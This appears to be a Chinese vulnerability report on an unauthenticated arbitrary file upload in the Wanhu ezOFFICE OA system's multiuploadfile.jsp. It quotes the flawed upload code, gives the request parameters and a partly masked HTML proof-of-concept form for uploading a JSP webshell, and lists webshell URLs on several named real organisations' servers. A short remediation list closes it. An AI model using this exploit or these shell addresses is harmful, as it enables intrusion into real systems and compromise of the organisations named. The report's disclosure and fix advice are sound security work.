万户ezOFFICE一处任意文件操作
万户ezOFFICE又一处任意文件上传可getshell
对应文件:
\defaultroot\public\jsp\multiuploadfile.jsp
出现问题的代码如下:
String filePath="/upload/"+path+"/";//上传文件存放的位置,path可自定义
if("add".equals(mode)){//上传标识
boolean tooBig=false;
myUpload.initialize(pageContext);
myUpload.upload();
for (int j=0;j<myUpload.getFiles().getCount();j++){
myRandom=new com.whir.common.util.Random().getRandom();//文件名是根据时间生产的一个序列,后面有说明
com.jspsmart.upload.File myFile = myUpload.getFiles().getFile(j);
int size=myFile.getSize();
if(fileSize==0 || myFile.getSize()<fileSize){
if (!myFile.isMissing()) {
saveName=myRandom+"."+myFile.getFileExt();
fileName=myFile.getFileName();
myFile.saveAs(filePath + saveName);//上传的文件直接保存到对应位置
}
}else{
tooBig=true;
}
}
if(tooBig){%>
还有一些参数获取,这里指出两个重要参数:
String mode=(String)request.getParameter("mode");
String path=(String)request.getParameter("path");
其中mode代表命令,path指定特定位置。
那么我们做如下构造:
path=sound&mode=add
提交无需“multipart/form-data”方式提交。
其中:
参数:path=sound 指定的路径为:\defaultroot\upload\sound\
mode=add 为满足if条件,即上传。
第一次上传可能没有数据,跳转页面也可上传。(可以直接用burp提交)
上传成功:
此时可以通过查看页面源码看到改名后的文件:
代码:
<SCRIPT LANGUAGE="JavaScript">
<!--
alert("附件上传成功");
//在调用页面的table列表中显示
opener.reView("<%=saveName%>");
var path="<%=path%>";
var parentTable="<%=tableName%>";
var fileNames="<%=fileNames%>";
var saveNames="<%=saveNames%>";
var obj=eval("opener.window.document.all."+parentTable);
其中saveName为改名后的文件。
然后访问shell:http://oa.yundagroup.com:7001/defaultroot/upload/sound/2014110516441408716191497.jsp
申明:所有测试均无损害。
受影响的系统较多
*****l>*****
*****ead&*****
*****ad POC</*****
*****t; content="text/*****
*****uot;text/cs*****
*****e:12px; backgrou*****
*****yle>*****
*****ad>*****
*****y>*****
1.://**.**.**//oa.yundagroup.com:7001/defaultroot/public/jsp/multiuploadfile.jsppath=sound&fileName=fileName&mode=add&saveName=soundSaveName&tableName=soundTableName&fileMaxSize=0&photos=null"> _
*****pe="text" size="70" *****
*****;br&*****
*****r>*****
*****t type="file" size="70&qu*****
*****r>*****
*****;br&*****
*****uot;btnSubmit" val*****
*****form&*****
*****dy>*****
*****htm*****
上次提交的多漏洞中都中招:
WooYun: 万户OA未修补漏洞致多个政府&集团OA中招
测试了其中几个,
shell地址:
http://222.178.221.54:7001/defaultroot/upload/sound/2014110514261813627153789.jsp
http://oa.hongdou.com:7001/defaultroot/upload/sound/2014110514400983604036844.jsp
http://oa.yundagroup.com:7001/defaultroot/upload/sound/2014110514434370947164885.jsp
解决方案:
1、检查所有文件操作模块
2、所有加身份验证
3、增加文件内容校验